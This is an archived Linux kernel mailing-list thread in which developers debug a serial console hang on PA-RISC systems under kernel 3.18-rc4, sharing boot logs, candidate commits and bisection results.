	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 223438EE0C8;
	Wed, 31 Dec 2014 17:33:44 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id WZ7pVaNXvj6a; Wed, 31 Dec 2014 17:33:44 -0800 (PST)
Original-Received: from jarvis.lan (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id A0B9A8EE002;
	Wed, 31 Dec 2014 17:33:43 -0800 (PST)
In-Reply-To: <54625FCD.3070008@gmx.de>
X-Mailer: Evolution 3.12.7 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25521 gmane.linux.serial:17157
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25521>

On Tue, 2014-11-11 at 20:13 +0100, Helge Deller wrote:
> While testing kernel 3.18-rc4 I'm facing a problem with serial console.
> 
> I'm seeing at bootup this message:
> [   17.724000] console [ttyS0] disabled
> after that it's just hanging.
> 
> It seems as if ttyS0 is somehow being reprogrammed which then disturbs the
> serial ports on the receiver side (in my case a HP PCI Diva Serial [GSP] Multiport UART).
> Any idea what changed between 3.17 and 3.18 which have caused this behavior ?
> Full log below.
> 
> Helge
> 
> serial driver: drivers/tty/serial/8250/8250_pci.c
> 
> PCI info:
> 00:04.1 Serial controller: Hewlett-Packard Company Diva Serial [GSP] Multiport UART (rev 03) (prog-if 02 [16550])
>          Subsystem: Hewlett-Packard Company Device 1283
>          Flags: medium devsel, IRQ 70
>          Memory at ffffffff80000000 (32-bit, non-prefetchable) [size=4K]
>          I/O ports at 0040 [size=64]
>          Capabilities: [48] Power Management version 2
>          Kernel driver in use: serial
> 
> 
> dmesg after bootup:
> 
> [   17.708000] Serial: 8250/16550 driver, 8 ports, IRQ sharing enabled
> [   17.724000] serial 0000:00:04.1: enabling device (0142 -> 0143)
> [   17.724000] console [ttyS0] disabled
> [   17.880000] serial 0000:00:04.1: ttyS0 at MMIO 0xffffffff80000000 (irq = 70, base_baud = 115200) is a 16550A
> [   17.996000] console [ttyS0] enabled
> [   38.888000] INFO: rcu_sched detected stalls on CPUs/tasks: { 3} (detected by 1, t=5252 jiffies, g=-290, c=-291, q=2)
> [   38.888000] Task dump for CPU 3:
> [   38.888000] swapper/0       R  running task        0     1      0 0x00000004
> [   38.888000] Backtrace:
> [   38.888000]  [<0000000040200848>] vprintk_emit+0x570/0x5f8
> [   38.888000]  [<0000000040200bdc>] printk+0x64/0x78
> [   38.888000]  [<0000000040201fc0>] register_console+0x438/0x550
> [   38.888000]  [<0000000040688bb8>] uart_add_one_port+0x400/0x5d0
> [   38.888000]  [<000000004068e6d4>] serial8250_register_8250_port+0x3e4/0x448
> [   38.888000]  [<0000000040695f44>] pciserial_init_ports+0x22c/0x2c8
> [   38.888000]  [<0000000040696628>] pciserial_init_one+0x250/0x2e0
> [   38.888000]  [<00000000405f3880>] pci_device_probe+0xb0/0x150
> [   38.888000]  [<00000000406a8244>] driver_probe_device+0x204/0x570
> [   38.888000]  [<00000000406a8728>] __driver_attach+0xe0/0x158
> [   38.888000]  [<00000000406a4558>] bus_for_each_dev+0xd0/0x128
> [   38.888000]  [<00000000406a76f8>] driver_attach+0x48/0x60
> [   38.888000]  [<00000000406a6de8>] bus_add_driver+0x268/0x460
> [   38.888000]  [<00000000406a915c>] driver_register+0x124/0x1d0
> [   38.888000]  [<00000000405f336c>] __pci_register_driver+0x64/0x78
> [   38.888000]  [<00000000401375e4>] serial_pci_driver_init+0x44/0x58
> 
> [   59.084000] timer_interrupt(CPU 3): delayed! cycles 85EBC4C7D rem 2BAF83  next/now 2765C08677/276594D6F4
> [   59.140000] bootconsole [ttyB0] disabled
> [   59.144000] serial 0000:00:04.1: ttyS1 at MMIO 0xffffffff80000008 (irq = 70, base_baud = 115200) is a 16450
> [   59.164000] serial 0000:00:04.1: ttyS2 at MMIO 0xffffffff80000010 (irq = 70, base_baud = 115200) is a 16550A

I confirm this behaviour on the Mako system as well.  In my case, 3.18
so royally screws up the serial port that even a power cycle won't
recover the console connection to the MP (a sort of parisc equivalent of
a BMC) and I have to go down to the machine room to physically yank the
power from the system to power down the MP and get the console back.
I've added a cc to linux-serial.  It looks like there are 20 non merge
commits between 3.17 and 3.18.  I'm betting because of the MP problem
it's got to be somewhere in the serial driver:

cd92208 tty: serial: 8250_mtk: Fix quot calculation
716e115 serial: 8250_pci: remove rts_n override from Baytrail quirk
1ede7dc serial: 8250: Add Quark X1000 to 8250_pci.c
9137568 tty: serial: 8250_core: remove UART_IER_RDI in
serial8250_stop_rx()
59b3e89 tty: serial: 8250_core: use the ->line argument as a hint in
serial8250_find_match_or_unused()
0aa525d tty: serial: 8250_core: read only RX if there is something in
the FIFO
d74d5d1 tty: serial: 8250_core: add run time pm
234abab tty: serial: 8250_core: allow to set ->throttle / ->unthrottle
callbacks
2989708 serial: 8250_pci: Add PCI IDs for Intel Braswell
9a1870c serial: 8250: don't use slave_id of dma_slave_config
b4756f4 tty: serial: 8250: Add Mediatek UART driver
0b4af1d serial/8250_core: Add reference to uacess.h
b99b121 tty: serial: 8250_core: allow to overwrite & export
serial8250_startup()
ae14a79 tty: serial: 8250_core: provide a function to export
uart_8250_port
5435d20 serial: 8250: Document serial8250_modem_status() locking
a6eec92 Revert "serial: uart: add hw flow control support configuration"
c10b739 serial: 8250_hp300: trivial: fix symbol name in #warning message
28e3fb6 serial: Add support for Fintek F81216A LPC to 4 UART
e676253 serial/8250: Add support for RS485 IOCTLs
91f9d33 module: make it possible to have unsafe, tainting module params

Bisecting is going to be a pain because of the physical power cycle
problem on a racked system.

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial
Subject: Re: serial console problem with kernel 3.18.0-rc4
Date: Wed, 31 Dec 2014 23:56:40 -0500
Lines: 119
Approved: news@gmane.org
Message-ID: <54A4D388.7040008@hurleysoftware.com>
References: <54625FCD.3070008@gmx.de> <1420076022.2085.12.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420088221 12899 80.91.229.3 (1 Jan 2015 04:57:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2015 04:57:01 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 01 05:56:53 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y6Xob-0002EM-2K
	for glpp-linux-parisc@plane.gmane.org; Thu, 01 Jan 2015 05:56:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751533AbbAAE4u (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2014 23:56:50 -0500
Original-Received: from mail-qc0-f182.google.com ([209.85.216.182]:42545 "EHLO
	mail-qc0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751520AbbAAE4t (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2014 23:56:49 -0500
Original-Received: by mail-qc0-f182.google.com with SMTP id r5so11991905qcx.41
        for <linux-parisc@vger.kernel.org>; Wed, 31 Dec 2014 20:56:48 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:message-id:date:from:user-agent:mime-version:to
         :cc:subject:references:in-reply-to:content-type
         :content-transfer-encoding;
        bh=NTCFwvYHZjO3vN/4lE0Y/1R4aYlJWd36hvPXZe+N3+0=;
        b=MAZwrcMB9Txt8WU/VHeoRkvfAckOAJaz2xS94JG1V6l5Ch6qZGWWAyVmiNuO20Vnfy
         +dx7DWD/qX4dEpoUrI85zvMQzlwLLBnLEQ5jcijVFUocG2oSH2uklelPXZWDkkBWKHHi
         RaBgsAwn/op+SLinXZu7Nnoq925fnv/xvws+yIAXm7WSIwK1UAKPZJDhUXGfvbMb/cm9
         zXimd9xeUX43cJyMai0sh5l2kcAQ25z96uL0kbdZ1eeBk91Z47vfP+9CniVHOw0csoPY
         0cWNbes4K28SNw/J1JQbqjKue4tnG84nOJbi2eMZ1/a3W2E/wiz0CyXIgXwiAv21HKGw
         mjCA==
X-Gm-Message-State: ALoCoQnPGdJymO3r12kooK3QYgHBovC7AofFoj39Mji/oy8Nbo90FqOsxAFHzw6D1Do3NjNTxImc
X-Received: by 10.229.126.5 with SMTP id a5mr92377523qcs.14.1420088208243;
        Wed, 31 Dec 2014 20:56:48 -0800 (PST)
Original-Received: from [192.168.1.139] (h96-61-87-245.cntcnh.dsl.dynamic.tds.net. [96.61.87.245])
        by mx.google.com with ESMTPSA id t64sm13043519qge.45.2014.12.31.20.56.47
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 31 Dec 2014 20:56:47 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.3.0
In-Reply-To: <1420076022.2085.12.camel@HansenPartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25522 gmane.linux.serial:17159
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25522>

On 12/31/2014 08:33 PM, James Bottomley wrote:
> On Tue, 2014-11-11 at 20:13 +0100, Helge Deller wrote:
>> While testing kernel 3.18-rc4 I'm facing a problem with serial console.
>>
>> I'm seeing at bootup this message:
>> [   17.724000] console [ttyS0] disabled
>> after that it's just hanging.
>>
>> It seems as if ttyS0 is somehow being reprogrammed which then disturbs the
>> serial ports on the receiver side (in my case a HP PCI Diva Serial [GSP] Multiport UART).
>> Any idea what changed between 3.17 and 3.18 which have caused this behavior ?
>> Full log below.
>>
>> Helge

I apologize that I did not see this email back in November; I was having some
email trouble at the time.

>> serial driver: drivers/tty/serial/8250/8250_pci.c
>>
>> PCI info:
>> 00:04.1 Serial controller: Hewlett-Packard Company Diva Serial [GSP] Multiport UART (rev 03) (prog-if 02 [16550])
>>          Subsystem: Hewlett-Packard Company Device 1283
>>          Flags: medium devsel, IRQ 70
>>          Memory at ffffffff80000000 (32-bit, non-prefetchable) [size=4K]
>>          I/O ports at 0040 [size=64]
>>          Capabilities: [48] Power Management version 2
>>          Kernel driver in use: serial
>>
>>
>> dmesg after bootup:
>>
>> [   17.708000] Serial: 8250/16550 driver, 8 ports, IRQ sharing enabled
>> [   17.724000] serial 0000:00:04.1: enabling device (0142 -> 0143)
>> [   17.724000] console [ttyS0] disabled
>> [   17.880000] serial 0000:00:04.1: ttyS0 at MMIO 0xffffffff80000000 (irq = 70, base_baud = 115200) is a 16550A
>> [   17.996000] console [ttyS0] enabled
>> [   38.888000] INFO: rcu_sched detected stalls on CPUs/tasks: { 3} (detected by 1, t=5252 jiffies, g=-290, c=-291, q=2)
>> [   38.888000] Task dump for CPU 3:
>> [   38.888000] swapper/0       R  running task        0     1      0 0x00000004
>> [   38.888000] Backtrace:
>> [   38.888000]  [<0000000040200848>] vprintk_emit+0x570/0x5f8
>> [   38.888000]  [<0000000040200bdc>] printk+0x64/0x78
>> [   38.888000]  [<0000000040201fc0>] register_console+0x438/0x550
>> [   38.888000]  [<0000000040688bb8>] uart_add_one_port+0x400/0x5d0
>> [   38.888000]  [<000000004068e6d4>] serial8250_register_8250_port+0x3e4/0x448
>> [   38.888000]  [<0000000040695f44>] pciserial_init_ports+0x22c/0x2c8
>> [   38.888000]  [<0000000040696628>] pciserial_init_one+0x250/0x2e0
>> [   38.888000]  [<00000000405f3880>] pci_device_probe+0xb0/0x150
>> [   38.888000]  [<00000000406a8244>] driver_probe_device+0x204/0x570
>> [   38.888000]  [<00000000406a8728>] __driver_attach+0xe0/0x158
>> [   38.888000]  [<00000000406a4558>] bus_for_each_dev+0xd0/0x128
>> [   38.888000]  [<00000000406a76f8>] driver_attach+0x48/0x60
>> [   38.888000]  [<00000000406a6de8>] bus_add_driver+0x268/0x460
>> [   38.888000]  [<00000000406a915c>] driver_register+0x124/0x1d0
>> [   38.888000]  [<00000000405f336c>] __pci_register_driver+0x64/0x78
>> [   38.888000]  [<00000000401375e4>] serial_pci_driver_init+0x44/0x58
>>
>> [   59.084000] timer_interrupt(CPU 3): delayed! cycles 85EBC4C7D rem 2BAF83  next/now 2765C08677/276594D6F4
>> [   59.140000] bootconsole [ttyB0] disabled
>> [   59.144000] serial 0000:00:04.1: ttyS1 at MMIO 0xffffffff80000008 (irq = 70, base_baud = 115200) is a 16450
>> [   59.164000] serial 0000:00:04.1: ttyS2 at MMIO 0xffffffff80000010 (irq = 70, base_baud = 115200) is a 16550A
> 
> I confirm this behaviour on the Mako system as well.  In my case, 3.18
> so royally screws up the serial port that even a power cycle won't
> recover the console connection to the MP (a sort of parisc equivalent of
> a BMC) and I have to go down to the machine room to physically yank the
> power from the system to power down the MP and get the console back.
> I've added a cc to linux-serial.  It looks like there are 20 non merge
> commits between 3.17 and 3.18.  I'm betting because of the MP problem
> it's got to be somewhere in the serial driver:
> 
> cd92208 tty: serial: 8250_mtk: Fix quot calculation
> 716e115 serial: 8250_pci: remove rts_n override from Baytrail quirk
> 1ede7dc serial: 8250: Add Quark X1000 to 8250_pci.c
> 9137568 tty: serial: 8250_core: remove UART_IER_RDI in
> serial8250_stop_rx()


> 59b3e89 tty: serial: 8250_core: use the ->line argument as a hint in
> serial8250_find_match_or_unused()
^^^^^^^^^
This commit would be my first guess, but a complete dmesg up to boot
failure would be helpful in narrowing down the problem. There are about
50 ways to initialize the 8250 port (which is part of the problem).

Regards,
Peter Hurley


> 0aa525d tty: serial: 8250_core: read only RX if there is something in
> the FIFO
> d74d5d1 tty: serial: 8250_core: add run time pm
> 234abab tty: serial: 8250_core: allow to set ->throttle / ->unthrottle
> callbacks
> 2989708 serial: 8250_pci: Add PCI IDs for Intel Braswell
> 9a1870c serial: 8250: don't use slave_id of dma_slave_config
> b4756f4 tty: serial: 8250: Add Mediatek UART driver
> 0b4af1d serial/8250_core: Add reference to uacess.h
> b99b121 tty: serial: 8250_core: allow to overwrite & export
> serial8250_startup()
> ae14a79 tty: serial: 8250_core: provide a function to export
> uart_8250_port
> 5435d20 serial: 8250: Document serial8250_modem_status() locking
> a6eec92 Revert "serial: uart: add hw flow control support configuration"
> c10b739 serial: 8250_hp300: trivial: fix symbol name in #warning message
> 28e3fb6 serial: Add support for Fintek F81216A LPC to 4 UART
> e676253 serial/8250: Add support for RS485 IOCTLs
> 91f9d33 module: make it possible to have unsafe, tainting module params
> 
> Bisecting is going to be a pain because of the physical power cycle
> problem on a racked system.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial
Subject: Re: serial console problem with kernel 3.18.0-rc4
Date: Thu, 01 Jan 2015 00:52:09 -0800
Lines: 124
Approved: news@gmane.org
Message-ID: <1420102329.2085.15.camel@HansenPartnership.com>
References: <54625FCD.3070008@gmx.de>
	 <1420076022.2085.12.camel@HansenPartnership.com>
	 <54A4D388.7040008@hurleysoftware.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420102350 8856 80.91.229.3 (1 Jan 2015 08:52:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2015 08:52:30 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-serial@vger.kernel.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Peter Hurley <peter@hurleysoftware.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 01 09:52:19 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y6bUN-0006FE-6Y
	for glpp-linux-parisc@plane.gmane.org; Thu, 01 Jan 2015 09:52:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750752AbbAAIwM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Jan 2015 03:52:12 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:47173 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750701AbbAAIwM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Jan 2015 03:52:12 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7D2238EE0C8;
	Thu,  1 Jan 2015 00:52:11 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id qnn9ET8KF61E; Thu,  1 Jan 2015 00:52:11 -0800 (PST)
Original-Received: from jarvis.lan (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id CEAFE8EE002;
	Thu,  1 Jan 2015 00:52:10 -0800 (PST)
In-Reply-To: <54A4D388.7040008@hurleysoftware.com>
X-Mailer: Evolution 3.12.7 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25523 gmane.linux.serial:17160
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25523>

On Wed, 2014-12-31 at 23:56 -0500, Peter Hurley wrote:
> On 12/31/2014 08:33 PM, James Bottomley wrote:
> > On Tue, 2014-11-11 at 20:13 +0100, Helge Deller wrote:
> >> While testing kernel 3.18-rc4 I'm facing a problem with serial console.
> >>
> >> I'm seeing at bootup this message:
> >> [   17.724000] console [ttyS0] disabled
> >> after that it's just hanging.
> >>
> >> It seems as if ttyS0 is somehow being reprogrammed which then disturbs the
> >> serial ports on the receiver side (in my case a HP PCI Diva Serial [GSP] Multiport UART).
> >> Any idea what changed between 3.17 and 3.18 which have caused this behavior ?
> >> Full log below.
> >>
> >> Helge
> 
> I apologize that I did not see this email back in November; I was having some
> email trouble at the time.
> 
> >> serial driver: drivers/tty/serial/8250/8250_pci.c
> >>
> >> PCI info:
> >> 00:04.1 Serial controller: Hewlett-Packard Company Diva Serial [GSP] Multiport UART (rev 03) (prog-if 02 [16550])
> >>          Subsystem: Hewlett-Packard Company Device 1283
> >>          Flags: medium devsel, IRQ 70
> >>          Memory at ffffffff80000000 (32-bit, non-prefetchable) [size=4K]
> >>          I/O ports at 0040 [size=64]
> >>          Capabilities: [48] Power Management version 2
> >>          Kernel driver in use: serial
> >>
> >>
> >> dmesg after bootup:
> >>
> >> [   17.708000] Serial: 8250/16550 driver, 8 ports, IRQ sharing enabled
> >> [   17.724000] serial 0000:00:04.1: enabling device (0142 -> 0143)
> >> [   17.724000] console [ttyS0] disabled
> >> [   17.880000] serial 0000:00:04.1: ttyS0 at MMIO 0xffffffff80000000 (irq = 70, base_baud = 115200) is a 16550A
> >> [   17.996000] console [ttyS0] enabled
> >> [   38.888000] INFO: rcu_sched detected stalls on CPUs/tasks: { 3} (detected by 1, t=5252 jiffies, g=-290, c=-291, q=2)
> >> [   38.888000] Task dump for CPU 3:
> >> [   38.888000] swapper/0       R  running task        0     1      0 0x00000004
> >> [   38.888000] Backtrace:
> >> [   38.888000]  [<0000000040200848>] vprintk_emit+0x570/0x5f8
> >> [   38.888000]  [<0000000040200bdc>] printk+0x64/0x78
> >> [   38.888000]  [<0000000040201fc0>] register_console+0x438/0x550
> >> [   38.888000]  [<0000000040688bb8>] uart_add_one_port+0x400/0x5d0
> >> [   38.888000]  [<000000004068e6d4>] serial8250_register_8250_port+0x3e4/0x448
> >> [   38.888000]  [<0000000040695f44>] pciserial_init_ports+0x22c/0x2c8
> >> [   38.888000]  [<0000000040696628>] pciserial_init_one+0x250/0x2e0
> >> [   38.888000]  [<00000000405f3880>] pci_device_probe+0xb0/0x150
> >> [   38.888000]  [<00000000406a8244>] driver_probe_device+0x204/0x570
> >> [   38.888000]  [<00000000406a8728>] __driver_attach+0xe0/0x158
> >> [   38.888000]  [<00000000406a4558>] bus_for_each_dev+0xd0/0x128
> >> [   38.888000]  [<00000000406a76f8>] driver_attach+0x48/0x60
> >> [   38.888000]  [<00000000406a6de8>] bus_add_driver+0x268/0x460
> >> [   38.888000]  [<00000000406a915c>] driver_register+0x124/0x1d0
> >> [   38.888000]  [<00000000405f336c>] __pci_register_driver+0x64/0x78
> >> [   38.888000]  [<00000000401375e4>] serial_pci_driver_init+0x44/0x58
> >>
> >> [   59.084000] timer_interrupt(CPU 3): delayed! cycles 85EBC4C7D rem 2BAF83  next/now 2765C08677/276594D6F4
> >> [   59.140000] bootconsole [ttyB0] disabled
> >> [   59.144000] serial 0000:00:04.1: ttyS1 at MMIO 0xffffffff80000008 (irq = 70, base_baud = 115200) is a 16450
> >> [   59.164000] serial 0000:00:04.1: ttyS2 at MMIO 0xffffffff80000010 (irq = 70, base_baud = 115200) is a 16550A
> > 
> > I confirm this behaviour on the Mako system as well.  In my case, 3.18
> > so royally screws up the serial port that even a power cycle won't
> > recover the console connection to the MP (a sort of parisc equivalent of
> > a BMC) and I have to go down to the machine room to physically yank the
> > power from the system to power down the MP and get the console back.
> > I've added a cc to linux-serial.  It looks like there are 20 non merge
> > commits between 3.17 and 3.18.  I'm betting because of the MP problem
> > it's got to be somewhere in the serial driver:
> > 
> > cd92208 tty: serial: 8250_mtk: Fix quot calculation
> > 716e115 serial: 8250_pci: remove rts_n override from Baytrail quirk
> > 1ede7dc serial: 8250: Add Quark X1000 to 8250_pci.c
> > 9137568 tty: serial: 8250_core: remove UART_IER_RDI in
> > serial8250_stop_rx()
> 
> 
> > 59b3e89 tty: serial: 8250_core: use the ->line argument as a hint in
> > serial8250_find_match_or_unused()
> ^^^^^^^^^
> This commit would be my first guess, but a complete dmesg up to boot
> failure would be helpful in narrowing down the problem. There are about
> 50 ways to initialize the 8250 port (which is part of the problem).

Well, bisection says it's not this one.  Unfortunately, we crap out at
this one:

ae14a79 tty: serial: 8250_core: provide a function to export
uart_8250_port

  CC      drivers/tty/serial/8250/8250_core.o
drivers/tty/serial/8250/8250_core.c: In function 'serial8250_ioctl':
drivers/tty/serial/8250/8250_core.c:2857: error: 'TIOCSRS485' undeclared
(first use in this function)
drivers/tty/serial/8250/8250_core.c:2857: error: (Each undeclared
identifier is reported only once
drivers/tty/serial/8250/8250_core.c:2857: error: for each function it
appears in.)
drivers/tty/serial/8250/8250_core.c:2858: error: implicit declaration of
function 'copy_from_user'
drivers/tty/serial/8250/8250_core.c:2869: error: 'TIOCGRS485' undeclared
(first use in this function)
drivers/tty/serial/8250/8250_core.c:2870: error: implicit declaration of
function 'copy_to_user'
make[4]: *** [drivers/tty/serial/8250/8250_core.o] Error 1
make[3]: *** [drivers/tty/serial/8250] Error 2
make[2]: *** [drivers/tty/serial] Error 2
make[1]: *** [drivers/tty] Error 2

I'll work out how to fix it in the morning ... but really, having a
bisectable tree is supposed to be the first rule of a maintainer.

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial
Subject: Re: serial console problem with kernel 3.18.0-rc4
Date: Thu, 01 Jan 2015 14:06:55 -0800
Lines: 138
Approved: news@gmane.org
Message-ID: <1420150015.2085.3.camel@HansenPartnership.com>
References: <54625FCD.3070008@gmx.de>
	 <1420076022.2085.12.camel@HansenPartnership.com>
	 <54A4D388.7040008@hurleysoftware.com>
	 <1420102329.2085.15.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420150028 20370 80.91.229.3 (1 Jan 2015 22:07:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2015 22:07:08 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-serial@vger.kernel.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Sudip Mukherjee <sudip@vectorindia.org>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: Peter Hurley <peter@hurleysoftware.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 01 23:07:00 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y6ntT-00052k-On
	for glpp-linux-parisc@plane.gmane.org; Thu, 01 Jan 2015 23:07:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751523AbbAAWG6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Jan 2015 17:06:58 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48826 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751507AbbAAWG5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Jan 2015 17:06:57 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8BFAF8EE0CB;
	Thu,  1 Jan 2015 14:06:56 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id jTjwVssqamx4; Thu,  1 Jan 2015 14:06:56 -0800 (PST)
Original-Received: from jarvis.lan (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id F2F958EE0C8;
	Thu,  1 Jan 2015 14:06:55 -0800 (PST)
In-Reply-To: <1420102329.2085.15.camel@HansenPartnership.com>
X-Mailer: Evolution 3.12.7 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25524 gmane.linux.serial:17165
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25524>

On Thu, 2015-01-01 at 00:52 -0800, James Bottomley wrote:
> On Wed, 2014-12-31 at 23:56 -0500, Peter Hurley wrote:
> > On 12/31/2014 08:33 PM, James Bottomley wrote:
> > > On Tue, 2014-11-11 at 20:13 +0100, Helge Deller wrote:
> > >> While testing kernel 3.18-rc4 I'm facing a problem with serial console.
> > >>
> > >> I'm seeing at bootup this message:
> > >> [   17.724000] console [ttyS0] disabled
> > >> after that it's just hanging.
> > >>
> > >> It seems as if ttyS0 is somehow being reprogrammed which then disturbs the
> > >> serial ports on the receiver side (in my case a HP PCI Diva Serial [GSP] Multiport UART).
> > >> Any idea what changed between 3.17 and 3.18 which have caused this behavior ?
> > >> Full log below.
> > >>
> > >> Helge
> > 
> > I apologize that I did not see this email back in November; I was having some
> > email trouble at the time.
> > 
> > >> serial driver: drivers/tty/serial/8250/8250_pci.c
> > >>
> > >> PCI info:
> > >> 00:04.1 Serial controller: Hewlett-Packard Company Diva Serial [GSP] Multiport UART (rev 03) (prog-if 02 [16550])
> > >>          Subsystem: Hewlett-Packard Company Device 1283
> > >>          Flags: medium devsel, IRQ 70
> > >>          Memory at ffffffff80000000 (32-bit, non-prefetchable) [size=4K]
> > >>          I/O ports at 0040 [size=64]
